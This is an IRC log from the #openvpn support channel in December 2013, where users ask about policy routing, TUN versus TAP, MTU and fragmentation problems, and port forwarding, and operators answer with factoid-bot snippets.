19:12 -!- digilink [~digilink@irc.stephennet.net] has joined #openvpn
19:15 < blonkel> but i cant beleave thats my problem, i ran a benchmark of openvpn, and it says about 106880k, (aes-256-cbc) packets / sek
19:15 < blonkel> if im right thats about 9µs / packet, that cant be the bottleneck..
19:17 < pekster> Depends a bit on the size of your packets too. CBC does indeed expand packets to the next block-boundry, which will be 16 bytes. However, that would only manifest as a CPU issue if you were loading up 1 CPU core at near-100% utilization. Play with turning off encryption for a test and see what results you get
19:27 -!- frenchface [~cjman@184.75.223.34] has joined #openvpn
19:27 < frenchface> hey everyone is it possible to bind openvpn to only pass thru certain IPs?
19:28 <@krzee> frenchface, i dont understand the question
19:28 <@krzee> "to only pass thru certain IPs"
19:28 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
19:29 < frenchface> openvpn on a firewall (middleman) only sends certain client ips thru the vpn, the rest dont get passed
19:29 <@krzee> sure, thats policy routing
19:29 <@krzee> (nothing to do with openvpn)
19:29 <@krzee> !factoids search policy
19:29 <@vpnHelper> 'policy' and 'redirect-policy'
19:29 <@krzee> !redirect-policy
19:29 <@vpnHelper> "redirect-policy" is If you are using --redirect-gateway and wish to maintain external access to the same system, you need Policy Routing. If using Linux, see !lartc for reading on the subject. Note that this is a somewhat advanced networking topic.
19:30 <@krzee> !lartc
19:30 <@vpnHelper> "lartc" is LARTC is the de-facto guide to policy routing and QoS (tc, or traffic control) on Linux. http://lartc.org/howto/ . Policy routing in Ch. 4, QoS in Ch. 9. Start at the beginning if you're new to advanced routing on Linux
19:34 -!- keithzg [~quassel@184.70.164.246] has quit [Remote host closed the connection]
19:36 -!- fayisha [~CRUNCH@tabitha.stormbit.net] has joined #openvpn
19:37 -!- frenchface [~cjman@184.75.223.34] has quit [Ping timeout: 250 seconds]
19:37 -!- BigShip [~BigShip@d-66-212-213-207.cpe.metrocast.net] has joined #openvpn
19:37 < digilink> hi all, had a question concerning TAP's. I have 3 VPS' running Debian and I want to join them to my local LAN as if they were directly connected and assign static IP's to them. I am at a bit of a loss though on how to set it up, from reading I need to bridge the TAP interface with the main interface on each machine, but my thoughts are with doing that it will route all of the internet destined
19:37 < digilink> traffic back through the openvpn server I have deplyed here at home. I also only have one interface on the VPS'. What's the best way to get this accomplished? I want all 3 of my VPS' to live on a 10.0.10.0/24 subnet...
19:38 < BigShip> howdy! So I was running my openvpn server at my university (it had a public IP) but have moved home for the break. Am now running it behind a router and have done port forwarding/edited the .ovpn file but have had no luck connecting. Thoughts?
19:43 < pekster> digilink: Don't bridge unless you have a darn good reason. Read !tunortap for info
19:44 < pekster> BigShip: Clarify "no luck"
19:44 -!- BigShip_ [~BigShip@d-66-212-213-207.cpe.metrocast.net] has joined #openvpn
19:44 < pekster> 19:44:02 < pekster> BigShip: Clarify "no luck"
19:44 < pekster> Does this mean since moving it home, every time you flip a coin it comes up tails?
19:44 < BigShip_> Sorry I logged off for a second, did I miss anything?
19:45 < pekster> Notwithstanding my repast, no
19:45 < BigShip_> dang, and I don't get it. Now I just feel uncomfortable :/
19:45 -!- BigShip [~BigShip@d-66-212-213-207.cpe.metrocast.net] has quit [Ping timeout: 260 seconds]
19:46 < pekster> Start with:
19:46 < pekster> !welcome
19:46 < BigShip_> unless having my router handing out 10.0.0.x and the server handing out 10.8.0.x has something to do with it...
19:46 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
19:46 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
19:47 < BigShip_> oh, lovely. Let me browse that for a minute. Brb
19:48 < digilink> !tunortap
19:48 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. or (#2) and if your reason for wanting tap is windows shares, see !wins or use DNS or (#3) remember layer2 has no security, arp poisoning works over tap vpns or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not
19:48 <@vpnHelper> rooted/jailbroken) support only tun
19:48 < blonkel> hmm, im having the issue that big packets dont get to my destination (im using udp as transport)
19:48 < blonkel> ping -s 1400 10.0.0.10 doesnt work
19:48 < blonkel> ping -s 1300 10.0.0.10 works
19:48 < blonkel> what could be the issue for that?
19:49 < blonkel> reason*
19:49 < digilink> !wins
19:49 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
19:49 < BigShip_> !logs
19:49 <@vpnHelper> "logs" is (#1) please pastebin your logfiles from both client and server with verb set to 4 (only use 5 if asked) or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it and select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
19:49 < blonkel> was that for me? O.o
19:50 < BigShip_> ls
19:50 -!- frenchface [~cjman@184.75.214.170] has joined #openvpn
19:50 < blonkel> !logfile
19:50 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
19:50 < BigShip_> no, for me, sorry
19:53 < BigShip_> pekster: thanks for the heads up. Didn't realize my android client had logs. Turns out I had it forwarded as TCP instead of UDP
19:55 -!- BigShip_ [~BigShip@d-66-212-213-207.cpe.metrocast.net] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
19:56 < blonkel> any help please? ;)
19:57 < blonkel> or is it normal that this packet doesnt arrive? shouldnt it be splitted into smaller packets?
19:59 -!- szr [~s_r@unaffiliated/szr] has joined #openvpn
20:00 < pekster> blonkel: If pMTUd is working, probably. You can read about --fragment and --mssfix in the manpage
20:01 < pekster> Also perahps --mtu-test
20:10 -!- ToTheInt1rnet [~ToTheInte@gateway/tor-sasl/totheinternet] has joined #openvpn
20:13 -!- ToTheInternet [~ToTheInte@gateway/tor-sasl/totheinternet] has quit [Ping timeout: 240 seconds]
20:26 -!- xrosnight [~quassel@120.236.123.133] has joined #openvpn
20:27 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
20:27 -!- xrosnight [~quassel@120.236.123.133] has quit [Changing host]
20:27 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
20:34 -!- digilink [~digilink@irc.stephennet.net] has quit [Quit: ZNC - http://znc.in]
20:35 -!- digilink [~digilink@2001:470:e457:20da:20c:29ff:fea1:939a] has joined #openvpn
20:36 -!- digilink [~digilink@2001:470:e457:20da:20c:29ff:fea1:939a] has quit [Changing host]
20:36 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
21:05 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
21:07 -!- ThriLL [~ThriLL@2001:1af8:4020:a017:1::2] has quit [Quit: -off]
21:14 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
21:32 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Ping timeout: 272 seconds]
21:32 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
21:54 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
21:58 -!- WinstonSmith_ [~WinstonSm@bl5-206-136.dsl.telepac.pt] has quit [Ping timeout: 252 seconds]
22:00 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has quit []
22:00 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 246 seconds]
22:00 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
--- Log closed Tue Dec 17 22:03:32 2013
--- Log opened Tue Dec 17 22:03:49 2013
22:03 -!- ecrist [~ecrist@token-black.secure-computing.net] has joined #openvpn
22:03 -!- Irssi: #openvpn: Total of 230 nicks [7 ops, 0 halfops, 2 voices, 221 normal]
22:03 -!- mode/#openvpn [+o ecrist] by ChanServ
22:04 -!- Irssi: Join to #openvpn was synced in 49 secs
22:12 -!- frenchface [~cjman@184.75.214.170] has quit [Ping timeout: 272 seconds]
22:18 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
22:24 -!- frenchface [~cjman@162.219.176.162] has joined #openvpn
22:44 -!- blonkel [~asdgasggK@p57926737.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
22:50 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 250 seconds]
23:33 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 260 seconds]
23:39 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
--- Day changed Wed Dec 18 2013
00:13 -!- frenchface [~cjman@162.219.176.162] has quit [Ping timeout: 246 seconds]
00:40 -!- blonkel [~asdgasggK@p579266FB.dip0.t-ipconnect.de] has joined #openvpn
00:45 -!- blonkel [~asdgasggK@p579266FB.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
01:11 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
01:55 -!- ToTheInt1rnet is now known as ToTheInternet
02:00 -!- Zap-W [~zxd@bzq-79-180-15-80.red.bezeqint.net] has joined #openvpn
02:00 -!- blonkel [~asdgasggK@p579266FB.dip0.t-ipconnect.de] has joined #openvpn
02:05 -!- blonkel [~asdgasggK@p579266FB.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
02:08 -!- mattock_afk is now known as mattock
02:16 -!- blonkel [~asdgasggK@p579266FB.dip0.t-ipconnect.de] has joined #openvpn
02:17 -!- ToTheInternet [~ToTheInte@gateway/tor-sasl/totheinternet] has left #openvpn []
02:21 -!- blonkel [~asdgasggK@p579266FB.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
02:32 -!- blonkel [~asdgasggK@p579266FB.dip0.t-ipconnect.de] has joined #openvpn
02:38 -!- blonkel [~asdgasggK@p579266FB.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
02:47 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 252 seconds]
02:49 -!- blonkel [~asdgasggK@p579266FB.dip0.t-ipconnect.de] has joined #openvpn
02:49 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
02:54 -!- blonkel [~asdgasggK@p579266FB.dip0.t-ipconnect.de] has quit [Ping timeout: 265 seconds]
03:05 -!- blonkel [~asdgasggK@p579266FB.dip0.t-ipconnect.de] has joined #openvpn
03:10 -!- EmLeX_ [~emx@37.46.193.18] has joined #openvpn
03:10 -!- blonkel [~asdgasggK@p579266FB.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
03:10 -!- Netsplit *.net <-> *.split quits: +hazardous, cali, kloeri, hgax, SlutaTramsa, EmLeX, nobit, u0m3, HectorBarbossa, pekster,  (+12 more, use /NETSPLIT to show all of them)
03:11 -!- Linmu [~Linmu@203.70.194.104] has quit [Quit: leaving]
03:12 -!- Netsplit over, joins: ketas, +hazardous, Tu13es, @plaisthos, Chaot_s, m01, u0m3, js_, Varazir, diddly_ (+11 more)
03:12 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
03:13 -!- fvalente [~fvalente@ts.node.pt] has quit [Max SendQ exceeded]
03:13 -!- ketas [ketas@ketas6-sixxs.si.pri.ee] has quit [Max SendQ exceeded]
03:13 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Max SendQ exceeded]
03:13 -!- ketas [ketas@ketas6-sixxs.si.pri.ee] has joined #openvpn
03:16 -!- Romancer [~pink@unaffiliated/yusuke] has quit [Quit: ZNC - http://znc.in]
03:16 -!- Netsplit *.net <-> *.split quits: cali, kloeri, hgax, SlutaTramsa, nobit, u0m3, HectorBarbossa, pekster, js_, Tu13es,  (+9 more, use /NETSPLIT to show all of them)
03:16 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 240 seconds]
03:17 -!- fvalente [~fvalente@ts.node.pt] has joined #openvpn
03:20 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
03:20 -!- mode/#openvpn [+v hazardous] by ChanServ
03:21 -!- blonkel [~asdgasggK@p579266FB.dip0.t-ipconnect.de] has joined #openvpn
03:21 -!- Netsplit over, joins: ketas, Tu13es, @plaisthos, m01, u0m3, js_, Varazir, diddly_, oO0Oo-, HectorBarbossa (+9 more)
03:22 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Excess Flood]
03:22 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
03:22 -!- ketas [ketas@ketas6-sixxs.si.pri.ee] has quit [Max SendQ exceeded]
03:24 -!- ketas [ketas@ketas6-sixxs.si.pri.ee] has joined #openvpn
03:25 -!- blonkel [~asdgasggK@p579266FB.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
03:29 -!- thumbs [1000@unaffiliated/thumbs] has quit [Read error: Operation timed out]
03:31 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
03:37 -!- blonkel [~asdgasggK@p579266FB.dip0.t-ipconnect.de] has joined #openvpn
03:40 -!- stephan48 [stephan@opennic/stephan] has quit [Ping timeout: 265 seconds]
03:42 -!- blonkel [~asdgasggK@p579266FB.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds]
03:42 -!- stephan48 [stephan@nemesis.stejau.de] has joined #openvpn
03:42 -!- stephan48 [stephan@nemesis.stejau.de] has quit [Changing host]
03:42 -!- stephan48 [stephan@opennic/stephan] has joined #openvpn
03:46 -!- thumbs [1000@unaffiliated/thumbs] has joined #openvpn
03:51 -!- bersace_ is now known as bersace
03:53 -!- blonkel [~asdgasggK@p579266FB.dip0.t-ipconnect.de] has joined #openvpn
03:58 -!- blonkel [~asdgasggK@p579266FB.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
03:59 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 250 seconds]
04:14 -!- stephan48 [stephan@opennic/stephan] has quit [Quit: leaving]
04:17 -!- SJr [~sjr@S010600fb42f573f0.vc.shawcable.net] has quit [Ping timeout: 245 seconds]
04:18 -!- u0m3 [~u0m3@92.80.83.133] has quit [Read error: Connection reset by peer]
04:22 -!- u0m3 [~u0m3@109.96.180.79] has joined #openvpn
04:28 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 272 seconds]
04:28 < Nothing4You> hey there, i'm using a vm connecting to a VPN which sends a default gateway. i'm trying to let other devices in the same network access some port on the vpnclient vm. i've created routes to send traffic for the local network through the non-vpn gateway and i can reach internal machines, problem is that they can't reach the vpn vm
04:30 < Nothing4You> vm ip is 10.20.0.110, gateway is 10.20.0.1, iface is venet0. vpn is 172.16.xx.xx. i've added `ip route add 10.20.0.1 dev venet0` and `ip route add 10.20.0.0/24 via 10.20.0.1 dev venet0`
04:36 -!- Zap-W [~zxd@bzq-79-180-15-80.red.bezeqint.net] has quit [Ping timeout: 246 seconds]
04:42 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Remote host closed the connection]
04:43 -!- Denial [Denial@94.8.139.3] has joined #openvpn
04:44 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
04:50 -!- SJr [~sjr@S010600fb42f573f0.vc.shawcable.net] has joined #openvpn
04:55 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
04:56 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
05:05 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
05:05 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
05:05 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
05:11 -!- u0m3 [~u0m3@109.96.180.79] has quit [Ping timeout: 246 seconds]
05:17 -!- dvl [~dan@64.147.113.42] has joined #openvpn
05:21 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
05:21 -!- klein [~klein@unaffiliated/klein] has quit [Remote host closed the connection]
05:27 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
05:30 -!- xrosnight [~quassel@113.83.96.138] has joined #openvpn
05:48 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea]
05:49 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
06:16 -!- thecaptain2000 [~quassel@67.237.79.188.dynamic.jazztel.es] has joined #openvpn
06:19 -!- dazo_afk is now known as dazo
06:19 -!- steven776 [~martin@84.160.190.90.dyn.estpak.ee] has quit [Ping timeout: 252 seconds]
06:23 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
06:43 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
06:45 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
06:47 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
06:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:48 -!- PackardBell [~Cor@eternalproject.org] has quit [Quit: Business by Cor]
06:52 -!- PackardBell [~Cor@eternalproject.org] has joined #openvpn
07:38 -!- thecaptain2000 [~quassel@67.237.79.188.dynamic.jazztel.es] has quit [Remote host closed the connection]
07:55 -!- u0m3 [~u0m3@109.96.138.169] has joined #openvpn
07:58 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
08:03 -!- juxta [~rootkit@ppp203-122-193-94.static.internode.on.net] has quit [Ping timeout: 245 seconds]
08:14 -!- u0m3 [~u0m3@109.96.138.169] has quit [Read error: Connection reset by peer]
08:15 -!- juxta [~rootkit@ppp203-122-193-94.static.internode.on.net] has joined #openvpn
08:17 -!- u0m3 [~u0m3@109.96.149.170] has joined #openvpn
08:41 -!- dvl [~dan@64.147.113.42] has quit [Changing host]
08:41 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
09:02 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
09:06 -!- xrosnight_ [~quassel@113.83.96.138] has joined #openvpn
09:07 -!- xrosnight [~quassel@113.83.96.138] has quit [Ping timeout: 240 seconds]
09:09 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
09:23 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Ping timeout: 245 seconds]
09:27 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Excess Flood]
09:27 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
09:28 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
09:34 -!- xrosnight_ [~quassel@113.83.96.138] has quit [Ping timeout: 245 seconds]
09:41 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 240 seconds]
09:41 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
09:42 -!- master_o1_master [~master_of@p4FF24C1F.dip0.t-ipconnect.de] has joined #openvpn
09:44 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
09:44  * Nothing4You feels like this channel is dead
09:45 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
09:45 -!- master_of_master [~master_of@p4FF24734.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
09:55 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 265 seconds]
09:56 <@ecrist> not really, just this time of day, usually.
09:56 <@ecrist> !irclogs
09:56 <@vpnHelper> "irclogs" is Channel logs are available at http://secure-computing.net/logs/#openvpn.log and http://secure-computing.net/logs/#openvpn-devel.log and are updated every three hours.
09:56 <@ecrist> check that out, Nothing4You 
09:56 <@ecrist> rather
09:56 <@ecrist> !ircstats
09:56 <@vpnHelper> "ircstats" is (#1) See http://secure-computing.net/logs/openvpn.html for all-time IRC stats. or (#2) See http://secure-computing.net/logs/openvpn-devel.html for all-time dev channel IRC stats.
09:59 < Nothing4You> ecrist: what timezone does that page use?
10:00 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea]
10:00 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
10:02 <@ecrist> central "America/Chicago"
10:02 < Nothing4You> =utc?
10:02 < Nothing4You> or what's that?
10:02 < Nothing4You> oh
10:02 < Nothing4You> Central Time Zone (UTC-06:00)
10:03 <@ecrist> UTC-6 normally, UTC-5 DST
10:07 -!- Nikon_m [~nikonm@184.151.63.206] has joined #openvpn
10:11 < EugeneKay> UTC or GTFO
10:12 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
10:13 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
10:15 -!- EugeneKay was kicked from #openvpn by ecrist [no, you]
10:15 -!- EugeneKay [eugene@clockworkmod.org] has joined #openvpn
10:15 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
10:16 < Nothing4You> i'm using an openvz VE connecting to a VPN which sends a default gateway. i'm trying to let other devices in the same local network access some port on the vpnclient VE, basically using the vpnclient VE as VPN-inproxy. i've created routes to send traffic for the local network through the non-vpn gateway and i can reach internal machines, problem is that they can't reach the vpn vm. active routes:
10:16 < Nothing4You> http://nopaste.me/paste/120813011552b1ca0782475 my vpn provider uses the 172.16 subnet, while i'm locally using 10.20.0.xx for my VEs. the VE has the IP 10.20.0.110, the gateway is 10.20.0.1
10:17 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
10:17 <@ecrist> !goal
10:17 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
10:17 < Nothing4You> i did state my goal
10:17 < Nothing4You> "i'm trying to let other devices in the same local network access some port on the vpnclient VE"
10:18 -!- crus` [~crusader@2001:44b8:319e:2900:b19a:95c6:e3e1:87e1] has joined #openvpn
10:18 < Nothing4You> e.g. i have a proxy in the vpnclient VE that connects to 172.16.12.34:80 and listens on 10.20.0.110:80
10:20 < Nothing4You> or is there some info you're missing?
10:20 -!- crus [~crusader@2001:44b8:319e:2900:ddc8:4935:86c4:2029] has quit [Ping timeout: 260 seconds]
10:24 <@ecrist> what's your question?
10:27 < Nothing4You> what routes i'm missing
10:27 <@ecrist> !configs
10:27 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
10:27 < Nothing4You> what are ccd entries?
10:28 <@ecrist> if you don't know, you don't have any
10:28 <@ecrist> most likely
10:28 < Nothing4You> heh
10:32 < Nothing4You> gotta grep my irc logs and hope i still have the server config
10:32 -!- Zap-W [~zxd@bzq-79-180-15-80.red.bezeqint.net] has joined #openvpn
10:34 < Nothing4You> damn, lost the logs
10:34 < Nothing4You> however, this is my client config: http://ix.io/9qW
10:35 < Nothing4You> and i added the extra routes with `ip route add 10.20.0.1 dev venet0` and `ip route add 10.20.0.0/24 via 10.20.0.1 dev venet0`
10:35 < Nothing4You> the server pushes a redirect-gateway
10:36 < Nothing4You> i'm trying to contact my vpn provider and ask for the configs, though that may take a while to get a reply
10:37 -!- Zap-W [~zxd@bzq-79-180-15-80.red.bezeqint.net] has quit [Ping timeout: 246 seconds]
10:40 < Nothing4You> ecrist: not enough to work with?
10:42 <@ecrist> I need the server config, too
10:42 < Nothing4You> ok :/
10:58 -!- Nikon_m [~nikonm@184.151.63.206] has quit [Quit: Nikon_m]
10:59 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Excess Flood]
11:00 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
11:02 < Nothing4You> ah now i also know what ccd is
11:39 -!- steven776 [~martin@84.160.190.90.dyn.estpak.ee] has joined #openvpn
11:40 -!- [Derek] [~me@unaffiliated/derek/x-8562683] has quit [Quit: Connection to Host Lost]
11:48 -!- P4k3 [~P4k3@c-5a34e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has quit [Remote host closed the connection]
11:56 -!- P4k3 [~P4k3@c-5a34e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has joined #openvpn
11:56 -!- Netsplit *.net <-> *.split quits: cali, kloeri, hgax, SlutaTramsa, nobit, HectorBarbossa, pekster, js_, Tu13es, @plaisthos,  (+7 more, use /NETSPLIT to show all of them)
12:12 < Bretos> hey guys, could any of you explain to me what "wicket stacking" is?
12:13 -!- ketas [ketas@ketas6-sixxs.si.pri.ee] has joined #openvpn
12:13 -!- Tu13es [~brandon@vervet.isomerica.net] has joined #openvpn
12:13 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
12:13 -!- m01 [~quassel@gateway/shell/freebnc/x-siaddvzfewpaaggz] has joined #openvpn
12:13 -!- js_ [~js@js.madepeople.se] has joined #openvpn
12:13 -!- Varazir [~mircwars@c-94-255-130-121.cust.bredband2.com] has joined #openvpn
12:13 -!- diddly_ [~dave@blk-222-90-9.eastlink.ca] has joined #openvpn
12:13 -!- oO0Oo- [o_o@gateway/shell/elitebnc/x-yuelwchshopvjufn] has joined #openvpn
12:13 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-srnbdtnvfmylmgrl] has joined #openvpn
12:13 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
12:13 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
12:13 -!- nobit [nobit@unaffiliated/muska] has joined #openvpn
12:13 -!- __FBi [~B@uwantmy.info] has joined #openvpn
12:13 -!- dowaat [uid3966@gateway/web/irccloud.com/x-oeihgtmtnsmbgxlf] has joined #openvpn
12:13 -!- hgax [~hgax@162.243.112.153] has joined #openvpn
12:13 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
12:13 -!- ServerMode/#openvpn [+o plaisthos] by wolfe.freenode.net
12:14 -!- SlutaTramsa [~SlutaTram@2a00:1a28:1251:178:73:210:61:1] has joined #openvpn
12:14 -!- SlutaTramsa [~SlutaTram@2a00:1a28:1251:178:73:210:61:1] has quit [Changing host]
12:14 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has joined #openvpn
12:22 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 252 seconds]
12:23 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
12:28 -!- BtbN [znc@btbn.de] has quit [Ping timeout: 260 seconds]
12:30 -!- BtbN [znc@btbn.de] has joined #openvpn
12:33 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 245 seconds]
12:36 -!- digilink [~digilink@2001:470:e457:20da:20c:29ff:fea1:939a] has joined #openvpn
12:51 <@ecrist> Bretos: did you try google?
12:52 < Bretos> ecrist: I wouldn't try irc if I hadn't tried to google it first
12:52 <@ecrist> where are you seeing "wicket stacking"
13:01  * ecrist pokes Bretos 
13:03 < Bretos> ecrist: hilight helped ;-) in a tender
13:06 < rob0> You're right, nothing in Google about that.
13:12 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
13:35 <@ecrist> looks like an apache / javascript thing
13:39 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
13:45 < SpeakerToMeat> meh
13:45 -!- SpeakerToMeat [~Lars@unaffiliated/lars-g/x-000001] has left #openvpn []
13:57 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Quit: ZNC - http://znc.in]
13:58 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
14:00 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 248 seconds]
14:03 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
14:07 -!- gr8 [~gr8@dslb-188-097-001-178.pools.arcor-ip.net] has joined #openvpn
14:08 -!- gr8 [~gr8@dslb-188-097-001-178.pools.arcor-ip.net] has left #openvpn []
14:08 -!- Nikon_m [~nikonm@184.151.63.206] has joined #openvpn
14:08 -!- elvirolo [~roger@2a01:e35:39c9:b2f0:76de:2bff:fe8e:303e] has joined #openvpn
14:08 < elvirolo> hi everyone
14:12 -!- dazo is now known as dazo_afk
14:16 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Quit: ZNC - http://znc.in]
14:22 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
14:27 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Client Quit]
14:28 < fred``> what happend to the 'good old' openvpn client for windows
14:28 < fred``> the new one doesnt connect with my existing configs
14:30 < fred``> using 'connect' after import worked fine - but i hangs on 'connect'
14:31 < fred``> ah
14:31 < fred``> perhaps UAC
14:32 < fred``> nah
14:33 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
